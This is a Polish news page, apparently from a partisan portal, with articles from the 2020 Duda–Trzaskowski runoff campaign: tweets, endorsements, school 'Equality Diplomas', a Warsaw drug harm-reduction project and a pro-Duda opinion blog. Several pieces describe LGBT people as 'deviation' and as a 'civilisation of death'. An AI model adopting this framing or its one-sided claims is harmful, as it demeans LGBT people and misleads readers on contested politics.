Ukrywanie poparcia Trzaskowskiego dla LGBT

Europoseł Janina Ochojska wymieniła na swoim profilu na Twitterze 5 punktów, wyjaśniających dlaczego w drugiej turze poprze Rafała Trzaskowskiego. W pierwszym wpisie na ten temat wskazywała na wprowadzenie karty LGBT w całym kraju. Później zmieniła jednak ten punkt na… "zadbanie o najsłabszych i wykluczonych".

W środę Ochojska umieściła na Twitterze wpis, w którym w pięciu punktach wyjaśniła, dlaczego w drugiej turze wyborów prezydenckich poprze kandydata Koalicji Obywatelskiej Rafała Trzaskowskiego. Napisała w nim, że Trzaskowski "poważnie traktuje problem zmian klimatycznych", "proponuje inwestycje za rogiem", "proponuje program równych szans na rynku pracy", "wprowadzi kartę LGBT w całym kraju" oraz "będzie prezydentem wszystkich Polaków".

W czwartek europoseł ponownie wstawiła post z pięcioma punktami, dla których poprze Trzaskowskiego, jednak zmodyfikowała ich treść. Tym razem wskazała, że Trzaskowski: "zadba o najsłabszych i wykluczonych", "poważnie traktuje problem zmian klimatycznych", "proponuje inwestycje za rogiem", "proponuje program równych szans na rynku pracy" oraz "będzie Prezydentem WSZYSTKICH Polaków".

Dlaczego będę głosowała na Rafał @trzaskowski_

1. Bo zadba i najsłabszych i wykluczonych

2. Bo poważnie traktuje problem zmian klimatycznych

3. Bo proponuje inwestycje "za rogiem"

4. Bo proponuje program równych szans na rynku pracy

5. bo będzie Prezydentem WSZYSTKICH Polaków pic.twitter.com/Hvnbz9bIZm

— Janina Ochojska (@JaninaOchojska) July 9, 2020

Również w czwartek, w kolejnym wpisie w czterech punktach wyjaśnia, dlaczego nie zamierza zagłosować na urzędującego prezydenta Andrzeja Dudę. Zwraca uwagę na: przekazanie 2 mld zł TVP, a nie na onkologię; Fundusz Zdrowia, którego utworzenie - jej zdaniem - "zakończyło się na obietnicach", nie zrobienie nic dla osób niepełnosprawnych oraz to, że Duda "nie stanął w obronie godności protestujących nauczycieli i lekarzy".

Środowy wpis Ochojskiej skomentował m.in. poseł PiS Przemysław Czarnek.

Szczery "rzecznik" Rafała Trzaskowskiego, Pani Ochojska, ujawnia: #TrzaskowskiL4 wprowadzi kartę LGBT w całym kraju (pkt 4). Dziękujemy Pani Janino za prawdę, która jest dla nas oczywista. Dlatego w obronie rodziny tylko #DUDA2020 https://t.co/jpWCKqwDKL

— Przemysław Czarnek (@CzarnekP) July 9, 2020

- napisał na Twitterze.

Na wpis Ochojskiej zareagował też poseł PiS Rafał Bochenek. Wyraził wobec niej szacunek za to, co od lat robi dla potrzebujących, ale przyznał, że nie rozumie jej zaangażowania politycznego w kampanię kandydata PO, "skrajnie ideologicznego i niewiarygodnego".

Szanuję @JaninaOchojska za to, co od lat robi dla ludzi potrzebujących, ale nie rozumiem zaangażowania politycznego w kampanię kandydata @Platforma_org skrajnie ideologicznego i niewiarygodnego.Pani Janino, jest Pani kobietą czynu, a @trzaskowski_ jest tego zaprzeczeniem‼🤥 https://t.co/fKhThObObb

— Rafał Bochenek (@RafalBochenek) July 9, 2020

W odpowiedzi Ochojska podkreśliła, że nie jest zaangażowana w kampanię. "Poza tym byłam w Komitecie Wyborczym Szymona Hołowni" – napisała. Kandydat ten uzyskał 13,87 proc. głosów. Zdobył trzeci wynik – za Dudą i Trzaskowskim – i tym samym nie wszedł do II tury.

"Teraz każdy, kto chce głosować (mam nadzieję, że każdy) musi wybrać pomiędzy tymi dwoma kandydatami. Wybór Andrzeja Dudy w moim przypadku odpada. A wybrać trzeba"

– podkreśliła Ochojska.

W I turze wyborów prezydenckich Andrzej Duda uzyskał 43,5 proc. głosów, a Rafał Trzaskowski - 30,46 proc. Obaj zmierzą się w II turze w najbliższą niedzielę, 12 lipca.

R: 0 / I: 0 / P: 19

PO za ACTA2

Z 3-minutowego przemówienia Rafała Trzaskowskiego wynika, że - gdyby odsiać wszystkie banały - próbował z siebie zrobić bojownika o wolność w internecie. Ale - jak sprawdziliśmy - sam wieńczący konferencję dokument, którym tak zachwycał się Trzaskowski, był ostro krytykowany przez przedstawicieli społeczeństwa obywatelskiego. A kilka lat później… europosłowie PO głosowali za przyjęciem uderzającego w internautów ACTA2.

Niezawodny twitterowicz PikuśPOL wyszperał w odmętach internetu nagranie z sesji konferencji NETmundial, na której występował w 2014 r. Rafał Trzaskowski. W związku z tym bijemy się w piersi - pisaliśmy, że przemówienie ówczesnego ministra cyfryzacji trwało 30 minut, tymczasem okazało się, że… 3 minuty i 21 sekund. Przypomnijmy: Trzaskowski był w Brazylii przez 6 dni, a jego niemal tygodniowy pobyt w Sao Paulo wraz z doradczynią i jeszcze jednym urzędnikiem w pięciogwiazdkowym hotelu kosztował podatników ponad 60 tys. zł!

Z kolei sam Trzaskowski chwalił się swoją „analizą” pod wdzięcznym tytułem „NETMundial. Gra o przyszłość świata 2.0”. Jak ujawniliśmy kilka dni temu na łamach portalu niezalezna.pl, do wyjaśnienia tak złożonego tematu Trzaskowskiemu wystarczyło niespełna 300 słów – mniej więcej z tylu składa się jego artykuł. Tak dla jasności – to około pół strony tekstu na kartce A4.

Rafał Trzaskowski tak uzasadniał swoją obecność w Brazylii:

Choć wydaje się, że Internet rozwijał się do tej pory “sam”, tak nie jest. Sieć jest zarządzana na różnych poziomach – od czysto technicznych po prawne (wynikające z konfliktów politycznych, różnie pojmowanych zagrożeń bezpieczeństwa, przetwarzania danych itd). Reguły dotyczące tego zarządzania mają zawsze konsekwencje globalne – taka jest natura współczesnej telekomunikacji. Dlatego udział i zabieranie głosu na takich forach jak spotkanie w Sao Paulo, jest sposobem na promowanie wartości i wpływanie na kształt rozwiązań, które bezpośrednio będą dotyczyć obywateli Polski. Stąd moja obecność

- czytamy.

Ale przyjęty na konferencji dokument był ostro krytykowany przez przedstawicieli społeczeństwa obywatelskiego, którzy nie byli mocno niezadowoleni z ostatecznego brzmienia dokumentu końcowego i podkreślali, że brakuje w nim zapisów o neutralności sieci, a te o prywatności są po prostu za słabe.

Ponadto słowa ministra w rządzie PO - straszącego inwigilacją, ograniczeniami i fragmentacją sieci niedługo po protestach w sprawie ACTA, które przetoczyły się przez nasz kraj, to dość surrealistyczne doświadczenie. Zwłaszcza, gdy dodamy do tego fakt, że znaczna część eurodeputowanych jego macierzystej formacji zaledwie kilka lat później opowiedziała się za kontrowersyjnymi zapisami tzw. ACTA2.

W 2019 roku kraje członkowskie, Parlament Europejski i Komisja Europejska porozumiały się w Strasburgu w sprawie kontrowersyjnych regulacji dotyczących prawa autorskiego. Negocjacje trwały ponad 7 godzin.

Parlament Europejski stosunkiem głosów 348 „za” do 274 „przeciw” przy 36 „wstrzymujących się” przyjął ACTA2 wraz z najbardziej kontrowersyjnymi art 11 i 13. To początek prewencyjnej cenzury i możliwego ograniczenia wolności w Internecie.

- ostrzegał w 2019 roku nie Rafał Trzaskowski, lecz europoseł PiS Tomasz Poręba.

R: 0 / I: 0 / P: 20

Szokujące nagrania

"Jak ktoś już decyduje się używać substancji iniekcyjnie, to bardzo ważne, żeby zawsze miał swoją igłę i strzykawkę, nie dzielił się sprzętem, żeby sprzęt był zawsze sterylny. No i też takie rzeczy można pobrać na stanowisku "Afterparty". To i wiele innych rzeczy do używania substancji, ale też jakby dużo informacji o tym, jak unikać ryzyka. Także możecie to robić, ale róbcie jak najbardziej bezpiecznie" - mówi "partyworkerka" na nagraniu opublikowanym dzisiaj przez wiceministra sprawiedliwości, Sebastiana Kaletę. Zdaniem wiceszefa resortu, kontrowersyjne imprezy są finansowane przez miasto Warszawa. - Tak wygląda profilaktyka walki z narkomanią za pieniądze warszawiaków - napisał Kaleta. Na jego zarzuty odpowiedziało miasto.

Sebastian Kaleta, wiceminister sprawiedliwości, opublikował dzisiaj na Twitterze nagrania jednej z imprez, której organizatorzy mówią, że projekt współfinansuje Urząd m.st. Warszawy. Na nagraniu aktywistka mówiła, czym jest partyworking, który prowadziła w jednym z warszawskich klubów.

Jak wyjaśniała, partyworking to "miejsce, gdzie można uzyskać informacje o substancjach psychoaktywnych, pobrać za darmo testy do sprawdzania ich składu, prezerwatywy oraz inne gadżety".

a tutaj nagranie jednej z imprez finansowanych przez m. st. Warszawa. Testy na jakość narkotyków, skrzykawki, igły.

Radość, impreza… a gadżety z pieniędzy warszawskiego podatnika pic.twitter.com/v0ERxyH5nk

— Sebastian Kaleta (@sjkaleta) July 9, 2020

Na kolejnym opublikowanym przez Kaletę nagraniu ta sama osoba tłumaczyła, dlaczego w klubie rozdawane są igły.

- Jak ktoś już decyduje się używać substancji iniekcyjnie, to bardzo ważne, żeby zawsze miał swoją igłę i strzykawkę, nie dzielił się sprzętem, żeby sprzęt był zawsze sterylny. No i też takie rzeczy można pobrać na stanowisku "Afterparty". To i wiele innych rzeczy do używania substancji, ale też jakby dużo informacji o tym, jak unikać ryzyka. Także możecie to robić, ale róbcie jak najbardziej bezpiecznie – mówiła.

A tutaj nagranie z tej samej imprezy. "Partyworkerka" zachęca do korzystania z darmowych igieł i strzykawek, bo przecież narkotyki "można brać, ale bezpiecznie". Tak wygląda profilaktyka walki z narkomanią za pieniądze warszawiaków. pic.twitter.com/MELmjxfGHp

— Sebastian Kaleta (@sjkaleta) July 9, 2020

"Trzaskowski przez pół roku nic nie zrobił"

W rozmowie z Polską Agencją Prasową wiceminister Kaleta wyjaśnił, że nagrania pochodzą z imprezy w ramach projektu "Afterparty" współfinansowanego przez m.st. Warszawa, a organizowanego przez Fundację Edukacji Społecznej.

Kaleta powiedział, że w ramach kontroli poselskiej na podstawie dokumentów ustalił, że przeciwdziałanie uzależnieniom i wsparcie osób już uzależnionych, na które przeznaczone są pieniądze miasta, "polega na tym, że zachęca się wręcz do brania narkotyków, oferuje się sterylny sprzęt, który jest rozdawany podczas imprez środowisk LGBT oraz proponuje się testowanie narkotyków" – czy są w odpowiedniej jakości.

W jego przekonaniu taki projekt nie powinien być finansowany pieniędzmi warszawskich podatników. Zaznaczył, że sygnalizował ten problem pół roku temu, ale wówczas prezydent miasta Rafał Trzaskowski nic z tym nie zrobił.

- Przynajmniej nie ma informacji, jakoby umowa miałaby być zerwana z tą fundacją – dodał.

"Chemsex"

Nie po raz pierwszy Sebastian Kaleta ujawnia wsparcie miasta dla kontrowersyjnych inicjatyw. W grudniu 2019 r. wiceminister opublikował raport, z którego wynika, że w ciągu ostatnich lat warszawski ratusz miał wydać 7 mln złotych na akcje związane z "edukowaniem, jak zażywać narkotyki, promowaniem dewiacji czy uświadamianiem, jak wyglądają kontakty seksualne połączone z przyjmowaniem substancji psychoaktywnych - tzw. chemseks" - jak informował wówczas portal tvp.info.

Władze miasta uznały informacje przekazane przez TVP Info i Sebastiana Kaletę za "fake news".

- Miasto Warszawa nigdy nie nakłaniało i nie zachęcało nikogo do stosowania jakichkolwiek substancji psychoaktywnych - tak sprawę komentował ówczesny rzecznik ratusza, Kamil Dąbrowa.

R: 0 / I: 0 / P: 20

Dyplomy Trzaskowskiego dla szkół, w których geje mogą… całować się na korytarzach!

Jeśli chcą Państwo, by w szkole, do której chodzi wasze dziecko, widok całujących się na boisku czy korytarzach gejów był czymś nie tylko normalnym, ale i nagradzanym, głosujcie na Rafała Trzaskowskiego! W 2019 r. Trzaskowski, jako prezydent Warszawy, nagrodził Dyplomami Równości szkoły, które w specjalnej ankiecie wykazały się wysokim poziomem tolerancji. Jak ustaliliśmy, jedno z pytań dotyczyło „akceptacji dla czułości między jednopłciowymi parami na terenie szkoły (przytulanie, całowanie, trzymanie się za ręce)”. Jeśli Trzaskowski wygra wybory, z pewnością zadba, by podobnie było w szkołach od Tatr do Bałtyku – pisze dla portalu niezalezna.pl Piotr Lisiewicz.

Ta sprawa niesłusznie pozostała niezauważona w trwającej kampanii wyborczej, bo zdaje się rozstrzygać spór o to, czy Trzaskowski jest wrażliwym, ale rozsądnym obrońcą osób dyskryminowanych, jak prezentuje się w czasie kampanii, czy zwolennikiem obyczajowej rewolucji, jak mogliśmy przypuszczać widząc go wśród półnagich transseksualistów na paradzie równości.

Nauczyciele pilnowani, czy reagują na żarty z gejów

Otóż Trzaskowski jako urzędnik, prezydent stolicy, oficjalnie zaangażował się w akcję, w wyniku której już… 15-latkowie mają być oswajani z widokiem całujących się gejów i to nie tylko na paradach, ale na co dzień, we własnej szkole.

Jak informował 31 maja 2019 roku portal oko.press, ówczesny maturzysta Dominik Kuc przepytał uczniów i uczennice z tolerancji w warszawskich szkołach. Ale jak wynikało z dalszej części tekstu, uczeń działał nie całkiem sam: partnerem jego akcji była Kampania Przeciw Homofobii, a patronatem - Rafał Trzaskowski.

W ankiecie uczniowie odpowiadali na 23 pytania, dotyczące m. in. „akceptacji dla czułości między jednopłciowymi parami na terenie szkoły (przytulanie, całowanie, trzymanie się za ręce)” czy „zwracania się pracowników szkoły imieniem preferowanym do osób transpłciowych”. Uczeń pytał też, jak nauczyciele reagują na homofobiczne żarty. Dopytywał się także, czy w szkole odbywają się akcje oraz „warsztaty poświęcone tematyce osób LGBTQ”.

Okazało się, że szczególnie niewłaściwie zachowują się… nauczyciele. „Problemem, na który młodzież najczęściej zwracała uwagę, są homofobiczne żarty, które opowiadają nauczyciele, a nie uczniowie” – alarmował portal oko.press.

Batalion „Parasol”, Mickiewicz i Prus, czyli wychowanie nietolerancyjne

Wyniki ankiety okazały się nie do końca satysfakcjonujące: tylko mniejszość spośród ankietowanych szkół zasłużyła na Dyplom Równości od prezydenta Warszawy. Na czele najbardziej tolerancyjnych szkół znalazły się 1. Społeczne Liceum Ogólnokształcące im. Jam Sacheba Digvijay Sinhji oraz Wielokulturowe Liceum Humanistyczne im. Jacka Kuronia.

Co warto zauważyć, na szarym końcu w rankingu znalazły się szkoły mające staroświeckich patronów: 4 SLO batalionu AK „Parasol”, IV LO im. Adama Mickiewicza oraz XXXV LO im. Bolesława Prusa. Wnioski jasne: nauczanie w duchu wartości batalionu „Parasol”, poezji Mickiewicza i powieści Prusa, fatalnie wpływa na młodzież! Może pora zacząć zmieniał patronów szkół, w których Państwo się uczyli, na bardziej postępowych, od Tatr do Bałtyku?

Przedstawicielka Trzaskowskiego: chciałabym, żeby wszystkie szkoły były takie

Na stronie Kampanii Przeciw Homofobii, czytamy relację z wręczenia nagród, w czasie której reprezentująca Trzaskowskiego Dorota Łoboda, przewodnicząca Komisji Edukacji w Radzie m.st. Warszawy powiedziała: „Podpisuję się pod Dyplomem Równości, bo chciałabym, żeby warszawskie szkoły były przyjazne wszystkim uczennicom i uczniom”.

Przypomnijmy, że Andrzej Duda na ten sam temat mówił: „Jeżeli w szkole przemyca się ideologię, żeby zmienić punkt widzenia dzieci i ustawić ich patrzenie na świat poprzez ich seksualizację w dziecięcym wieku, coś co jest sprzeczne z najgłębszą logiką dojrzewania człowieka w sposób spokojny i zrównoważony, to jest to ideologia i nic innego”.

Warto, by świadomość tego, jaki jest w tej sprawie wybór, dotarła do każdej polskiej wsi i miasteczka. Według badania IBRiS, 79 proc. osób, które nie uczestniczyły w pierwszej turze wyborów, woli Andrzeja Dudę, a tylko 21 proc. Rafała Trzaskowskiego. Jeśli uda się w ostatnich dniach przekonać je do pójścia na wybory, nie trudno domyślić się wyniku.

R: 0 / I: 0 / P: 20

Apel Żołnierzy Wyklętych i ich rodzin

O poparcie dla starającego się o reelekcję prezydenta Andrzeja Dudy zaapelowała grupa żołnierzy podziemia niepodległościowego i ich rodzin. Andrzej Duda zadba o niepodległościową politykę historyczną pokazującą dumne tradycje Narodu Polskiego - podkreślono.

"Apel Żołnierzy Wyklętych i ich Rodzin z poparciem dla Andrzeja Dudy" wraz z listą osób go popierających przekazał Polskiej Agencji Prasowej redaktor naczelny Kwartalnika "Wyklęci" Kajetan Rajski, który poinformował, że został on przygotowany przez Fundację Kwartalnika "Wyklęci" w ciągu ostatniej doby.

"Polacy po raz kolejny stanęli przed wyborem, kto przez najbliższe pięć lat sprawować będzie zaszczytny urząd głowy państwa – uosobienie majestatu Rzeczpospolitej, gwaranta ciągłości Państwa Polskiego"

- czytamy w apelu.

"Jako uczestnicy walk o niepodległość, a także rodziny Wyklętych-Niezłomnych – żołnierzy powojennego podziemia niepodległościowego – jesteśmy przekonani, że osobą, która będzie w stanie godnie reprezentować nasz kraj na arenie międzynarodowej, a także zadba o niepodległościową politykę historyczną pozbawioną >>pedagogiki wstydu<< i pokazującą dumne tradycje Narodu Polskiego, jest Prezydent RP Andrzej Duda" - podkreślono.

"Panie Prezydencie, ma Pan nasze poparcie!"

- dodano apelując przy tym "do Rodaków w kraju i na emigracji, szczególnie do osób identyfikujących się jako patrioci i niepodległościowcy, o oddanie głosu na Andrzeja Dudę".

Apel poparło prawie 50 osób, w tym - jak czytamy w apelu - mjr Stanisław Szuro "Zamorski", mjr Janusz Kamocki "Mamut", kpt. Wacław Szacoń "Czarny", córka rtm. Witolda Pileckiego Zofia Pilecka-Optułowicz, syn sierż. Józefa Franczaka "Lalusia" Marek Franczak, syn mjr. Józefa Kurasia "Ognia" Zbigniew Kuraś, córka kpt. Henryka Flamego "Bartka" Alicja Flame-Reinhard, a także Tadeusz Płużański, syn Tadeusza Płużańskiego "Tadeusza Radwana".

Treść apelu i pełna lista osób go popierających została opublikowana m.in. na stronie internetowej Fundacji Kwartalnika "Wyklęci".

R: 1 / I: 0 / P: 20

Czy stać Polskę na 3 letnie konflikty polityczno-społeczne?

O najbliższych wyborach chyba już wszyscy napisali i powiedzieli wszystko. Kampania wyborcza się toczy, ale chyba zarówno my wyborcy, jak i politycy, mamy jej już serdecznie dosyć. Trwa tak naprawdę od lutego i mimo zawirowań związanych z pandemią koronowirusa i wymianą kandydata przez PO-KO już wreszcie zakończy się wyborem prezydenta naszej Ojczyzny.

Nie chcę znów apelować o racjonalny wybór, wybór dobry dla Polski a za takowy uważam ponowne głosowanie na A. Dudę i zatrzymanie tym samym tęczowego, proniemieckiego i bilderbergowego R. Trzaskowskiego.

Napisałem już wiele dlaczego tak zagłosuję, więc teraz krótko.

Mam wrażenie, że Polacy chcą odetchnąć od tej ciągłej walki politycznej i społecznej, tego ujadania jednych na drugich a taki spokój może przynieść tylko zwycięstwo prezydenta A. Dudy.

Po tych wyborach następne będą dopiero za 3 lata a te lata mogą być związane z ciągłą walką z kryzysem gospodarczym wywołanym pandemią, ale właśnie też spokojnym budowaniem dobrobytu Polski i jej wzrostem znaczenia na arenie międzynarodowej.

A co może się stać, gdyby wybory wygrał R. Trzaskowski?

Są dwie opcje politycznych rozgrywek, na które już wielokrotnie wskazywałem.

Pierwszą jest paraliż decyzyjny i ustrojowy państwa polskiego. R. Trzaskowski będzie chciał blokować rząd wetując ustawy, by w wyniku tej wojny politycznej doprowadzić do przedterminowych wyborów parlamentarnych.

Drugą - niejako nakładająca się na poprzednią - jest takie osłabienie PiS-u i rządu, aby w wyborach parlamentarnych za trzy lata PiS osiągnął wynik, który oznaczałby koniec jego władzy i "powrót do tego jak było", czyli rządów PO-KO z ewentualnymi koalicjantami w postaci Lewicy i PSL.

Obydwie te opcje oznaczają chaos zarządczy państwa i ciągły oraz narastający konflikt polityczny. Na taki totalny konflikt Polski po prostu nie stać a również i my wszyscy przecież mamy go już dość.

Przydałyby się te trzy lata spokoju, ale warto zauważyć, że źródłem tego konfliktu jest niestety nasza obecna opozycja, która sama z siebie nazwała się "opozycją totalną" a to implikuje u niej wszelkie destrukcyjne wobec Polski działania, zarówno wewnątrz kraju, jak i na jego zewnątrz.

Taka polityka nie zdała egzaminu. Nie udała się totalnym słynna "ulica i zagranica", więc po wywalczeniu jednak dla siebie senatu, walczą dziś o prezydenturę, by…. z pomocą swojego prezydenta znów totalnie walczyć aż do upadku rządu PiS (ZP).

A to oznacza inspirowany przez obecną opozycję jeszcze intensywniejszy totalny konflikt polityczny a dziś naprawdę są ważniejsze sprawy wewnątrz Polski i te związane z polskim miejscem na mapie geopolitycznej świata.

Warto zwrócić uwagę, że nie tylko narastający konflikt polityczny będzie związany z ewentualnym wyborem R. Trzaskowskiego.

Równie ważnym - a może ważniejszym - będzie konflikt cywilizacyjno-ideologiczny, o którym też już pisałem… bowiem te wybory to też nasz wybór między cywilizacją łacińską opartą na wartościach chrześcijańskich ("cywilizacja życia") a cywilizacją niesioną przez szeroko rozumianą ideologię LGBTQ+ jako częścią neomarksistowskiej rewolucji kulturowej ("cywilizacja śmierci").

Nietrudno bowiem sobie wyobrazić, że w przypadku zwycięstwa R. Trzaskowskiego, nagle zostaną zintensyfikowane wszelkie działania środowisk reprezentujących totalny neomarksistowski ogląd rzeczywistości. Wzmożony zostanie atak na tradycyjne polskie wartości, atak na rodzinę, Boga, naszą własność i nasze państwo jako całość.

Rozochocone takim wyborem będą przecież wszelkie ruchy feministyczne, LGBTQ+ i ich Marsze Równości, różne Antify, proaborcjoniści czy zwolennicy eutanazji. Na siłę i przy poparciu prezydenta będą implementowane do Polski antywartości, na których opiera się dziś niemal cała Stara Europa nazywając je "wartościami europejskimi, unijnymi". Tyle tylko, że pod tą szumną nazwą kryje się po prostu wspomniana neomarksistowska rewolucja kulturowa oparta na ideach Manifestu z Ventotene, Szkoły Frankfurckiej, A. Gramsciego, A. Spinellego.

Dziś więc - moim zdaniem - polski nie stać na totalne konflikty polityczne i cywilizacyjno-społeczne. Potrzeba nam spokoju i dalszego systematycznego odradzania się Rzeczpospolitej Polskiej.

Sygnalizacyjnie na koniec.

Wybór R. Trzaskowskiego zmieni też naszą politykę zagraniczną z nacisku na współpracę ze Stanami Zjednoczonymi na nacisk na współpracę w ramach Trójkąta Weimarskiego, czyli powolną landyzację naszego państwa. I na taką zmianę wektorów naszej polityki zagranicznej też nas nie stać, bo oznaczałoby to powrót do państwa z kartonu, gdzie jest tylko "ch..j, dupa i kamieni kupa".

No i oczywiście… zachęcam do pójścia na wybory i zagłosowanie - mając nieraz i duże wątpliwości - na A. Dudę. To bardzo ważne wybory, ważne dla nas, naszej Ojczyzny, naszych dzieci i wnuków.

R: 1 / I: 1 / P: 20

Finanse publiczne są w bardzo dobrym stanie. I to pomimo kryzysu

- Finanse publiczne mimo kryzysu są w bardzo dobrym stanie. To dlatego możemy zaoferować dzisiaj samorządowcom 6 mld zł plus środki konkursowe na realizację wielu projektów infrastrukturalnych, inwestycyjnych - mówił premier Mateusz Morawiecki w Ostrowcu Świętokrzyskim. Zaapelował też, by samorządowcy niezależnie od swoich barw politycznych porozmawiali pomiędzy sobą i porównali reakcje na kryzys sprzed 10 lat, "kiedy jedni z głównych działaczy PO mówili: byliśmy odporni na dramatyczne wołania o pomoc (…). My nie jesteśmy odporni tylko pomagamy samorządom, przedsiębiorcom".

Szef rządu podczas wizyty w Ostrowcu Świętokrzyskim spotkał się z tamtejszymi samorządowcami. Podczas wystąpienia podkreślał, że "finanse publiczne mimo kryzys są w bardzo dobrym stanie".

"To właśnie dlatego możemy zaoferować dzisiaj samorządowcom sześć miliardów złotych plus środki konkursowe na realizację wielu projektów infrastrukturalnych, inwestycyjnych"

- mówił Mateusz Morawiecki.

Premier @MorawieckiM w #OstrowiecŚwiętokrzyski: Zachęcam do korzystania z tego Rządowego Funduszu Inwestycji Lokalnych. On jest dobrze przygotowany, by wspierać polską gospodarkę. Dzięki temu będziemy mogli szybko wrócić do dobrego tempa wzrostu PKB.

📌 Ostrowiec Świętokrzyski pic.twitter.com/qJ6QM1k7Ql

— Kancelaria Premiera (@PremierRP) July 9, 2020

Zaznaczył, że to iż rząd może zaproponować te środki "nie wzięło się z niczego". Jak podkreślał, to skutek uszczelnienia systemu finansowego, który był "dziurawy jak durszlak w czasach poprzednich".

Premier zwrócił się też do samorządowców, by przypomnieli sobie jak wyglądało zarządzanie kryzysem 10 lat wcześniej, za rządów PO. "Czy była wtedy jakaś tarcza samorządowa, czy były jakieś inwestycje lokalne finansowane z budżetu państwa? A może chcecie sobie przypomnieć, ile dostawaliście wtedy środków na drogi samorządowe, gminne, powiatowe?" - pytał.

Premier @MorawieckiM w #OstrowiecŚwiętokrzyski: W momencie, kiedy coraz szybciej wychodzimy z kryzysu, zdajemy sobie sprawę jak ważne jest dodatkowe rozruszanie inwestycji lokalnych. Dlatego razem z @prezydentpl zaplanowaliśmy Rządowy Program Inwestycji Lokalnych. pic.twitter.com/61YSsZwv8A

— Kancelaria Premiera (@PremierRP) July 9, 2020

Morawiecki zaapelował też, by samorządowcy niezależnie od swoich barw politycznych porozmawiali pomiędzy sobą i porównali reakcje na kryzys sprzed 10 lat, "kiedy jedni z głównych działaczy PO mówili: byliśmy odporni na dramatyczne wołania o pomoc (…). My nie jesteśmy odporni tylko pomagamy samorządom, przedsiębiorcom".

Morawiecki zwrócił uwagę, że rozmawiał z przedsiębiorcami, o tym co by było gdyby nie było dla nich pomocy państwa w związku z kryzysem wywołanym koronawirusem. "Powiedzieli mi, że nie byłoby czego zbierać, że bezrobocie sięgałoby już teraz trzech milionów albo może i więcej" - mówił.

Premier @MorawieckiM w #OstrowiecŚwiętokrzyski: Środki z tego Funduszu są na budowę dróg, remonty szpitali, obiektów sportowych, edukacyjnych i wiele innych inwestycji. Dla nas jest bardzo ważne, żeby te środki były wykorzystane dla celów rozkręcenie gospodarki lokalnie.

— Kancelaria Premiera (@PremierRP) July 9, 2020

Morawiecki zwrócił się do samorządowców i mieszkańców Świętokrzyskiego, by postawili na "współpracę, która skutkuje, już tak krótko po rozpoczęciu pandemii bardzo dobrymi rezultatami gospodarczymi potwierdzonymi prze Komisję Europejską, Bank Światowy".

R: 1 / I: 0 / P: 20

Prezydent Duda z poparciem kombatantów

Grupa kombatantów, m.in. płk Marian Pawełczak ps. Morwa, kpt. Marianna Krasnodębska ps. Wiochna i kpt Jerzy Nowicki ps. Plastuś, poparła starającego się o reelekcję prezydenta Andrzeja Dudę. Poparcie wyrazili w wideo zamieszczonym na Twitterze DUDA2020.

"Proszę bardzo wszystkich o głosowanie na pana prezydenta Andrzeja Dudę, będziemy wtedy mieli Polskę taką jak trzeba"

- powiedział płk Marian Pawełczak. Do głosowania na prezydenta Andrzeja Dudę zachęciła również Sprawiedliwa Wśród Narodów Świata kpt. Marianna Krasnodębska. "W nim jest nasza cała nadzieja i oparcie" - podkreśliła.

Por. Maria Mieszkina życzyła prezydentowi Andrzejowi Dudzie dużo zdrowia, pomyślności i zwycięstwa w wyborach. Poparcie dla Dudy zadeklarowali również por. Jan Jabłoniec ps. Fiat, bo, jak ocenił, prezydent Duda "żyje dla całego kraju"; mjr. Miron Borejsza ps. Błysk, który nazwał Dudę człowiekiem prawym oraz biorąca udział w Powstaniu Warszawskim Ludwika Mendelska. Jej zdaniem Duda "to, co mu serce dyktuje, to robi".

"Dziękuję bardzo panie prezydencie i proszę o dalszą opiekę"

- powiedziała.

Zdaniem mjr Bogdana Walasa "oddanie głosu na powtórną elekcję obecnego prezydenta Andrzeja Dudę jest patriotycznym obowiązkiem i moralnym nakazem". "Bóg Honor i Ojczyzna - tym powinniśmy się posługiwać i wszyscy głosować na Andrzeja Dudę" - wskazał kpt Jerzy Nowicki ps. Plastuś.

W ocenie płk Zbigniewa Zielińskiego ps. Sęk, "żaden inny prezydent nie zrobił dla Polski tyle, zarówno na arenie międzynarodowej, jak i w kraju". Swoje poparcie wyraziła również płk Weronika Sebastianowicz ps. Różyczka.

Bohaterowie wspierają Prezydenta @AndrzejDuda. Piękna oddolna inicjatywa. Dziękujemy!

✌️🇵🇱 pic.twitter.com/TdkPl15lGn

— #DUDA2020 (@AndrzejDuda2020) July 9, 2020

R: 0 / I: 0 / P: 20

Mafia lekowa nie zarobi

W ciągu ostatniego roku prokuratura wszczęła niemal tyle samo postępowań, co przez poprzednie cztery lata łącznie. To efekt nowelizacji ustawy antywywozowej, obowiązującej od czerwca 2019 r. - informuje w czwartek "Dziennik Gazeta Prawna".

W artykule przypomniano, że za stworzenie przepisów "wzięło się wówczas Ministerstwo Sprawiedliwości, któremu pomagał resort zdrowia".

"Jak tłumaczył DGP Marcin Warchoł, zastępca Zbigniewa Ziobry, najskuteczniejszą metodą walki z przestępcami jest pokazanie im, że państwo jest silne. I że za nielegalny wywóz leków grozi wiele lat odsiadki. Tak też się stało: nowelizacją z 2019 r. sankcje administracyjne zastąpiono przepisami karnymi, a niedoskonałe przepisy karne poprawiono. Przy okazji zaostrzono zagrożenie, tak że dziś za wywóz leków grozi nawet do 10 lat pozbawienia wolności" - czytamy.

Według "DGP", "dane z prokuratur nie pozostawiają wątpliwości: śledczy reagują znacznie częściej niż dawniej". "Od lipca 2015 r. do 6 czerwca 2019 r. prokuratorzy wszczęli 54 sprawy dotyczące nielegalnego wywozu leków. Od 7 czerwca 2019 r. (czyli w dzień po wejściu w życie nowej ustawy) do 26 czerwca 2020 r. – 56 spraw. To blisko czterokrotny wzrost. Liczba aktów oskarżenia zwiększyła się zaś o połowę, lecz na razie to i tak przypadki dające się policzyć na palcach dwóch rąk" - poinformowano.

Gazeta dodaje, że w ciągu ostatnich kilkunastu miesięcy prokuratorom "udało się zakwestionować transakcje o łącznej wartości 180 mln zł, zająć mienie członków tzw. mafii lekowej na ponad 5 mln zł oraz zająć leki przeznaczone do wywozu o wartości 4 mln zł".

R: 0 / I: 0 / P: 20

CPK pomoże Polsce wyjść z kryzysu

Budowa nowego lotniska powinna przyspieszyć uzdrawianie gospodarki po pandemii Covid-19 – wynika z raportu przygotowanego przez globalną firmę finansowo-konsultingową Kearney - pisze "Rzeczpospolita".

Według autorów raportu, którego treść poznała „Rzeczpospolita", Centralny Port Komunikacyjny może wywrzeć szczególny wpływ na rynek pracy oraz wzrost produktu krajowego brutto.

„Należy zwrócić uwagę na szanse, które niesie ze sobą realizacja takiej inwestycji w czasach trwającego kryzysu. Z jednej strony inwestycja o tak dużej skali może wypełnić lukę popytową powstałą w efekcie trwającego spowolnienia gospodarczego, a z drugiej sama realizacja projektu może być tańsza ze względu na spadające ceny towarów i usług"

